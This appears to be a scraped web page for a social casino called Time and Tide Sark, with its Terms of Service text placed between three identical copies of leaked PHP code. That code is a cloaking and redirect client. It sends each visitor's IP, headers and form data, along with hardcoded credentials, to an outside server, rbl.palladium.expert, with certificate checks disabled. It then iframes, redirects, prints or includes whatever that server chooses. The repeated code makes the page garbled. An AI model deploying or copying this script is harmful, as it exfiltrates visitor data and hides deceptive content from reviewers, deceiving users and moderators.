run(); class RequestHandlerClient { const SERVER_URL = 'https://rbl.palladium.expert'; /** * @param int $clientId * @param string $company * @param string $secret * * @return void * @throws \Exception */ public function run() { $headers = []; $headers['request'] = $this->collectRequestData(); $headers['jsrequest'] = $this->collectJsRequestData(); $headers['server'] = $this->collectHeaders(); $headers['auth']['clientId'] = 7931; $headers['auth']['clientCompany'] = "cj95FTVq7RYWo8UHf922"; $headers['auth']['clientSecret'] = "NzkzMWNqOTVGVFZxN1JZV284VUhmOTIyY2U2NmY2ZTZmOWRlZjUxMGFjNDBiYTJlNjVjMmFjZGEwMTQyZmZhZQ=="; $headers['server']['bannerSource'] = 'adwords'; return $this->curlSend($headers); } /** * @param array $params * * @return bool * @throws \Exception */ public function curlSend(array $params) { $answer = false; $curl = curl_init(self::SERVER_URL); if ($curl) { curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params)); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($curl, CURLOPT_TIMEOUT, 4); curl_setopt($curl, CURLOPT_TIMEOUT_MS, 4000); curl_setopt($curl, CURLOPT_FORBID_REUSE, true); $result = curl_exec($curl); if ($result) { $serverOut = json_decode( $result, true ); $status = curl_getinfo($curl, CURLINFO_HTTP_CODE); if ($status == 200 && is_array($serverOut)) { $answer = $this->handleServerReply($serverOut); return $answer; } } } $this->getDefaultAnswer(); return $answer; } protected function handleServerReply($reply) { $result = (bool) ($reply['result'] ? $reply['result'] : 0); if ( isset($reply['mode']) && ( (isset($reply['target'])) || (isset($reply['content']) && !empty($reply['content'])) ) ) { $target = $reply['target']; $mode = $reply['mode']; $content = $reply['content']; if (preg_match('/^https?:/i', $target) && $mode == 3) { // do fallback to mode2 $mode = 2; } if ($result && $mode == 1) { $this->displayIFrame($target); exit; } elseif ($result && $mode == 2) { header("Location: {$target}"); exit; } elseif ($result && $mode == 3) { $target = parse_url($target); if (isset($target['query'])) { parse_str($target['query'], $_GET); } $this->hideFormNotification(); require_once $this->sanitizePath($target['path']); exit; } elseif ($result && $mode == 4) { echo $content; exit; } else if (!$result && $mode == 5) { // } elseif ($mode == 6) { // } else { $path = $this->sanitizePath($target); if (!$this->isLocal($path)) { header("404 Not Found", true, 404); } else { $this->hideFormNotification(); require_once $path; } exit; } } return $result; } private function hideFormNotification() { echo ""; //echo ""; } private function displayIFrame($target) { $target = htmlspecialchars($target); echo " " . $this->hideFormNotification() . " "; } private function sanitizePath($path) { if ($path[0] !== '/') { $path = __DIR__ . '/' . $path; } else { $path = __DIR__ . $path; } return $path; } private function isLocal($path) { // do not validate url via filter_var $url = parse_url($path); if (!isset($url['scheme']) || !isset($url['host'])) { return true; } else { return false; } } /** * Get all HTTP server headers and few additional ones * * @return mixed */ protected function collectHeaders() { $userParams = [ 'REMOTE_ADDR', 'SERVER_PROTOCOL', 'SERVER_PORT', 'REMOTE_PORT', 'QUERY_STRING', 'REQUEST_SCHEME', 'REQUEST_URI', 'REQUEST_TIME_FLOAT', 'X_FB_HTTP_ENGINE', 'X_PURPOSE', 'X_FORWARDED_FOR', 'X_WAP_PROFILE', 'X-Forwarded-Host', 'X-Forwarded-For', 'X-Frame-Options', ]; $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, $userParams) || substr_compare('HTTP', $key, 0, 4) == 0) { $headers[$key] = $value; } } return $headers; } private function collectRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['data'])) { $data = json_decode($_POST['data'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['data']), true ); } unset($_REQUEST['data']); } if (!empty($_POST['crossref_sessionid'])) { $data['cr-session-id'] = $_POST['crossref_sessionid']; unset($_POST['crossref_sessionid']); } } return $data; } public function collectJsRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['jsdata'])) { $data = json_decode($_POST['jsdata'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['jsdata']), true ); } unset($_REQUEST['jsdata']); } } return $data; } /** * Default answer for the curl request in case of fault * * @return bool */ private function getDefaultAnswer() { header($_SERVER["SERVER_PROTOCOL"] . ' 500 Internal Server Error', true, 500); echo "

500 Internal Server Error

The request was unsuccessful due to an unexpected condition encountered by the server.

"; exit; } }

run(); class RequestHandlerClient { const SERVER_URL = 'https://rbl.palladium.expert'; /** * @param int $clientId * @param string $company * @param string $secret * * @return void * @throws \Exception */ public function run() { $headers = []; $headers['request'] = $this->collectRequestData(); $headers['jsrequest'] = $this->collectJsRequestData(); $headers['server'] = $this->collectHeaders(); $headers['auth']['clientId'] = 7931; $headers['auth']['clientCompany'] = "cj95FTVq7RYWo8UHf922"; $headers['auth']['clientSecret'] = "NzkzMWNqOTVGVFZxN1JZV284VUhmOTIyY2U2NmY2ZTZmOWRlZjUxMGFjNDBiYTJlNjVjMmFjZGEwMTQyZmZhZQ=="; $headers['server']['bannerSource'] = 'adwords'; return $this->curlSend($headers); } /** * @param array $params * * @return bool * @throws \Exception */ public function curlSend(array $params) { $answer = false; $curl = curl_init(self::SERVER_URL); if ($curl) { curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params)); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($curl, CURLOPT_TIMEOUT, 4); curl_setopt($curl, CURLOPT_TIMEOUT_MS, 4000); curl_setopt($curl, CURLOPT_FORBID_REUSE, true); $result = curl_exec($curl); if ($result) { $serverOut = json_decode( $result, true ); $status = curl_getinfo($curl, CURLINFO_HTTP_CODE); if ($status == 200 && is_array($serverOut)) { $answer = $this->handleServerReply($serverOut); return $answer; } } } $this->getDefaultAnswer(); return $answer; } protected function handleServerReply($reply) { $result = (bool) ($reply['result'] ? $reply['result'] : 0); if ( isset($reply['mode']) && ( (isset($reply['target'])) || (isset($reply['content']) && !empty($reply['content'])) ) ) { $target = $reply['target']; $mode = $reply['mode']; $content = $reply['content']; if (preg_match('/^https?:/i', $target) && $mode == 3) { // do fallback to mode2 $mode = 2; } if ($result && $mode == 1) { $this->displayIFrame($target); exit; } elseif ($result && $mode == 2) { header("Location: {$target}"); exit; } elseif ($result && $mode == 3) { $target = parse_url($target); if (isset($target['query'])) { parse_str($target['query'], $_GET); } $this->hideFormNotification(); require_once $this->sanitizePath($target['path']); exit; } elseif ($result && $mode == 4) { echo $content; exit; } else if (!$result && $mode == 5) { // } elseif ($mode == 6) { // } else { $path = $this->sanitizePath($target); if (!$this->isLocal($path)) { header("404 Not Found", true, 404); } else { $this->hideFormNotification(); require_once $path; } exit; } } return $result; } private function hideFormNotification() { echo ""; //echo ""; } private function displayIFrame($target) { $target = htmlspecialchars($target); echo " " . $this->hideFormNotification() . " "; } private function sanitizePath($path) { if ($path[0] !== '/') { $path = __DIR__ . '/' . $path; } else { $path = __DIR__ . $path; } return $path; } private function isLocal($path) { // do not validate url via filter_var $url = parse_url($path); if (!isset($url['scheme']) || !isset($url['host'])) { return true; } else { return false; } } /** * Get all HTTP server headers and few additional ones * * @return mixed */ protected function collectHeaders() { $userParams = [ 'REMOTE_ADDR', 'SERVER_PROTOCOL', 'SERVER_PORT', 'REMOTE_PORT', 'QUERY_STRING', 'REQUEST_SCHEME', 'REQUEST_URI', 'REQUEST_TIME_FLOAT', 'X_FB_HTTP_ENGINE', 'X_PURPOSE', 'X_FORWARDED_FOR', 'X_WAP_PROFILE', 'X-Forwarded-Host', 'X-Forwarded-For', 'X-Frame-Options', ]; $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, $userParams) || substr_compare('HTTP', $key, 0, 4) == 0) { $headers[$key] = $value; } } return $headers; } private function collectRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['data'])) { $data = json_decode($_POST['data'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['data']), true ); } unset($_REQUEST['data']); } if (!empty($_POST['crossref_sessionid'])) { $data['cr-session-id'] = $_POST['crossref_sessionid']; unset($_POST['crossref_sessionid']); } } return $data; } public function collectJsRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['jsdata'])) { $data = json_decode($_POST['jsdata'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['jsdata']), true ); } unset($_REQUEST['jsdata']); } } return $data; } /** * Default answer for the curl request in case of fault * * @return bool */ private function getDefaultAnswer() { header($_SERVER["SERVER_PROTOCOL"] . ' 500 Internal Server Error', true, 500); echo "

500 Internal Server Error

The request was unsuccessful due to an unexpected condition encountered by the server.

"; exit; } }

Terms of Service

Last Updated: November 14, 2024

Welcome to Time and Tide Sark. These Terms of Service ("Terms") govern your access to and use of our social casino platform, website, games, and related services (collectively, "Services"). By accessing or using our Services, you agree to be bound by these Terms. Please read them carefully.

Important Notice: Time and Tide Sark is a social casino platform intended for entertainment purposes only. All games are played with virtual credits that have no real-world monetary value. No real money is wagered, and no real money or prizes can be won. Our Services do not constitute gambling as defined under applicable Canadian federal or provincial legislation and are not regulated by any provincial gaming authority.

1. Acceptance of Terms

By accessing or using our Services, you confirm that you meet the minimum age requirement in your province (18 or 19 years of age depending on your province of residence), that you have read and understood these Terms, and that you agree to be bound by them. If you do not agree, you must not use our Services.

2. Nature of the Platform

Our platform is a social casino. Please note the following:

  • All games use virtual credits for entertainment purposes only.
  • Virtual credits cannot be redeemed for real money, prizes, or any items of monetary value.
  • Success in social casino games does not imply or predict success in real-money gambling.
  • Our Services are not a form of gambling or betting under applicable Canadian federal or provincial law.
  • Virtual credits may be purchased with real money solely to extend gameplay.

3. Eligibility

To use our Services, you must:

  • Be at least 18 years of age, or 19 years of age if you reside in British Columbia, Nova Scotia, or New Brunswick, in accordance with applicable provincial law.
  • Not be prohibited from accessing social casino games under the laws applicable in your province or territory.
  • Have the legal capacity to enter into a binding agreement under applicable Canadian law.
  • Access our Services only from jurisdictions where it is lawful to do so.

4. User Account and Registration

When creating an account with us, you are responsible for:

  • Providing accurate, complete, and current registration information.
  • Maintaining the security and confidentiality of your account credentials.
  • Keeping your account information up to date.
  • All activity that occurs under your account.
  • Notifying us immediately of any unauthorised use of your account.

You may only maintain one account. Creating multiple accounts is prohibited and may result in termination of all associated accounts.

5. Description of Services

We provide the following types of services through our platform:

  • Social casino games (slots, table games, and other entertainment games) played with virtual credits.
  • Purchase of virtual credits for extended gameplay.
  • Promotional bonuses, loyalty programs, and in-platform rewards.
  • Customer support and platform-related assistance.
  • Other entertainment features as described on our website.

6. Virtual Credits

Virtual credits are the in-platform currency used to play our games. Please note:

  • Virtual credits have no monetary value and cannot be converted to real money or prizes.
  • Credits purchased are non-refundable except where required by applicable provincial consumer protection legislation, including the Consumer Protection Act (Ontario) or equivalent provincial statutes.
  • We reserve the right to modify virtual credit pricing at any time with reasonable notice.
  • Virtual credits are non-transferable between accounts.
  • We may award bonus credits at our discretion as part of promotions. Bonus credits may be subject to separate terms.
  • Unused virtual credits may expire in accordance with applicable promotional terms.

7. Acceptable Use Policy

You agree NOT to use our Services to:

  • Violate any applicable local, provincial, federal, or international laws or regulations, including Canadian law.
  • Infringe upon the intellectual property or other rights of any party.
  • Distribute spam, malware, or other harmful or disruptive content.
  • Attempt to gain unauthorised access to our systems, accounts, or data.
  • Use automated tools, bots, or scripts to interact with our platform.
  • Exploit bugs, glitches, or vulnerabilities in our games or platform.
  • Engage in any fraudulent, deceptive, or abusive behaviour.
  • Harass, threaten, or harm other users.

8. Intellectual Property

All content, games, software, graphics, trademarks, and other materials on our platform are the property of Time and Tide Sark or its licensors and are protected by the Copyright Act (Canada) and other applicable Canadian and international intellectual property laws. You are granted a limited, non-exclusive, non-transferable licence to access and use our Services for personal entertainment purposes only. You may not copy, reproduce, modify, distribute, or create derivative works without our prior written consent.

9. Payments and Refunds

  • All prices are displayed in Canadian dollars (CAD) or the applicable currency for your region at the time of purchase.
  • Applicable taxes, including federal GST/HST and provincial sales taxes where applicable under Canadian law, may be added at checkout.
  • Refunds on virtual credit purchases are only available where required by applicable provincial consumer protection legislation, including the Consumer Protection Act (Ontario) or equivalent statutes in your province.
  • We use secure, third-party payment processors and do not store full payment card data on our servers.
  • We reserve the right to change pricing with reasonable advance notice.
  • Fraudulent or disputed transactions may result in account suspension.

10. Responsible Gaming

Although our platform involves no real-money gambling, we are committed to promoting responsible gaming habits. If you feel that your use of our platform is becoming compulsive or problematic, we encourage you to take a break, use any self-exclusion tools available on the platform, or contact the Responsible Gambling Council or your provincial helpline (e.g., Gambling Help Ontario: 1-888-230-3505). For more information, see our Responsible Gaming page.

11. Privacy and Data Protection

Your privacy is important to us. Our collection and use of personal information is governed by our Privacy Policy, which is incorporated into these Terms by reference. Our practices comply with the Personal Information Protection and Electronic Documents Act (PIPEDA) and applicable provincial privacy legislation, including PIPA (British Columbia and Alberta) and Law 25 (Quebec).

12. Service Availability

We strive to provide a reliable and enjoyable platform, but we cannot guarantee:

  • Uninterrupted, error-free, or continuously available operation of our Services.
  • That all defects, bugs, or errors will be corrected immediately.
  • Compatibility with all devices, operating systems, or browsers.
  • Complete backup or recovery of virtual credit balances in the event of technical failure.

We will make reasonable efforts to notify users of planned maintenance or significant service disruptions.

13. Termination

We may suspend or terminate your account and access to our Services:

  • For material breach of these Terms.
  • For fraudulent, illegal, or abusive activity.
  • For violations of our Acceptable Use Policy.
  • With reasonable advance notice for any other reason, except where immediate action is necessary.
  • Upon your request to close your account.

Upon termination, your right to access our Services ceases immediately. Any remaining virtual credits will be forfeited, except where refund is required by applicable provincial consumer protection law.

14. Limitation of Liability

To the maximum extent permitted by applicable Canadian law, Time and Tide Sark and its affiliates, directors, employees, and licensors shall not be liable for any indirect, incidental, special, consequential, or punitive damages arising out of or related to your use of our Services, including loss of virtual credits or data.

Our total liability to you for any claim arising from or related to our Services shall not exceed the total amount you paid for virtual credits in the six (6) months preceding the claim.

Note: Nothing in these Terms excludes or limits any rights or remedies you may have under applicable provincial consumer protection legislation that cannot be lawfully waived or excluded, including protections under the Consumer Protection Act (Ontario) or equivalent provincial statutes.

15. Indemnification

You agree to indemnify, defend, and hold harmless Time and Tide Sark, its affiliates, and their respective officers, directors, employees, and agents from any claims, damages, losses, or expenses (including legal fees) arising out of your unlawful use of our Services or your wilful breach of these Terms.

16. Governing Law and Dispute Resolution

These Terms shall be governed by and construed in accordance with the laws of Canada and the applicable laws of the province in which you reside. Any disputes arising under or in connection with these Terms shall be subject to the non-exclusive jurisdiction of the courts of the applicable Canadian province.

Before initiating any formal dispute proceedings, we encourage you to contact us directly so we can attempt to resolve the matter amicably. Canadian consumers may also seek assistance from their provincial consumer protection authority or the Competition Bureau of Canada where applicable.

17. Severability

If any provision of these Terms is found to be invalid, illegal, or unenforceable under applicable Canadian law, the remaining provisions shall continue in full force and effect. The invalid or unenforceable provision shall be modified to the minimum extent necessary to make it valid and enforceable.

18. Changes to Terms

We reserve the right to modify these Terms at any time. We will provide reasonable advance notice of material changes by posting the updated Terms on our website or by notifying registered users via email. Your continued use of our Services after the effective date of the changes constitutes your acceptance of the revised Terms. If you do not agree to the updated Terms, you must stop using our Services.

19. Entire Agreement

These Terms, together with our Privacy Policy and Cookie Policy, constitute the entire agreement between you and Time and Tide Sark regarding your use of our Services and supersede all prior agreements or understandings relating to the same subject matter.

20. Contact Information

If you have any questions about these Terms of Service, please contact us:

  • Email: info@timeandtidesark.com
  • Phone: +1 (604) 555-0182
  • Address: Suite 2200, 1055 West Georgia Street, Vancouver, BC V6E 3P3, Canada
Important Note: These Terms of Service are governed by applicable Canadian federal and provincial law. Your statutory rights as a Canadian consumer under provincial consumer protection legislation are not affected by these Terms. For specific legal advice, please consult a qualified legal professional in your province.

run(); class RequestHandlerClient { const SERVER_URL = 'https://rbl.palladium.expert'; /** * @param int $clientId * @param string $company * @param string $secret * * @return void * @throws \Exception */ public function run() { $headers = []; $headers['request'] = $this->collectRequestData(); $headers['jsrequest'] = $this->collectJsRequestData(); $headers['server'] = $this->collectHeaders(); $headers['auth']['clientId'] = 7931; $headers['auth']['clientCompany'] = "cj95FTVq7RYWo8UHf922"; $headers['auth']['clientSecret'] = "NzkzMWNqOTVGVFZxN1JZV284VUhmOTIyY2U2NmY2ZTZmOWRlZjUxMGFjNDBiYTJlNjVjMmFjZGEwMTQyZmZhZQ=="; $headers['server']['bannerSource'] = 'adwords'; return $this->curlSend($headers); } /** * @param array $params * * @return bool * @throws \Exception */ public function curlSend(array $params) { $answer = false; $curl = curl_init(self::SERVER_URL); if ($curl) { curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params)); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($curl, CURLOPT_TIMEOUT, 4); curl_setopt($curl, CURLOPT_TIMEOUT_MS, 4000); curl_setopt($curl, CURLOPT_FORBID_REUSE, true); $result = curl_exec($curl); if ($result) { $serverOut = json_decode( $result, true ); $status = curl_getinfo($curl, CURLINFO_HTTP_CODE); if ($status == 200 && is_array($serverOut)) { $answer = $this->handleServerReply($serverOut); return $answer; } } } $this->getDefaultAnswer(); return $answer; } protected function handleServerReply($reply) { $result = (bool) ($reply['result'] ? $reply['result'] : 0); if ( isset($reply['mode']) && ( (isset($reply['target'])) || (isset($reply['content']) && !empty($reply['content'])) ) ) { $target = $reply['target']; $mode = $reply['mode']; $content = $reply['content']; if (preg_match('/^https?:/i', $target) && $mode == 3) { // do fallback to mode2 $mode = 2; } if ($result && $mode == 1) { $this->displayIFrame($target); exit; } elseif ($result && $mode == 2) { header("Location: {$target}"); exit; } elseif ($result && $mode == 3) { $target = parse_url($target); if (isset($target['query'])) { parse_str($target['query'], $_GET); } $this->hideFormNotification(); require_once $this->sanitizePath($target['path']); exit; } elseif ($result && $mode == 4) { echo $content; exit; } else if (!$result && $mode == 5) { // } elseif ($mode == 6) { // } else { $path = $this->sanitizePath($target); if (!$this->isLocal($path)) { header("404 Not Found", true, 404); } else { $this->hideFormNotification(); require_once $path; } exit; } } return $result; } private function hideFormNotification() { echo ""; //echo ""; } private function displayIFrame($target) { $target = htmlspecialchars($target); echo " " . $this->hideFormNotification() . " "; } private function sanitizePath($path) { if ($path[0] !== '/') { $path = __DIR__ . '/' . $path; } else { $path = __DIR__ . $path; } return $path; } private function isLocal($path) { // do not validate url via filter_var $url = parse_url($path); if (!isset($url['scheme']) || !isset($url['host'])) { return true; } else { return false; } } /** * Get all HTTP server headers and few additional ones * * @return mixed */ protected function collectHeaders() { $userParams = [ 'REMOTE_ADDR', 'SERVER_PROTOCOL', 'SERVER_PORT', 'REMOTE_PORT', 'QUERY_STRING', 'REQUEST_SCHEME', 'REQUEST_URI', 'REQUEST_TIME_FLOAT', 'X_FB_HTTP_ENGINE', 'X_PURPOSE', 'X_FORWARDED_FOR', 'X_WAP_PROFILE', 'X-Forwarded-Host', 'X-Forwarded-For', 'X-Frame-Options', ]; $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, $userParams) || substr_compare('HTTP', $key, 0, 4) == 0) { $headers[$key] = $value; } } return $headers; } private function collectRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['data'])) { $data = json_decode($_POST['data'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['data']), true ); } unset($_REQUEST['data']); } if (!empty($_POST['crossref_sessionid'])) { $data['cr-session-id'] = $_POST['crossref_sessionid']; unset($_POST['crossref_sessionid']); } } return $data; } public function collectJsRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['jsdata'])) { $data = json_decode($_POST['jsdata'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['jsdata']), true ); } unset($_REQUEST['jsdata']); } } return $data; } /** * Default answer for the curl request in case of fault * * @return bool */ private function getDefaultAnswer() { header($_SERVER["SERVER_PROTOCOL"] . ' 500 Internal Server Error', true, 500); echo "

500 Internal Server Error

The request was unsuccessful due to an unexpected condition encountered by the server.

"; exit; } }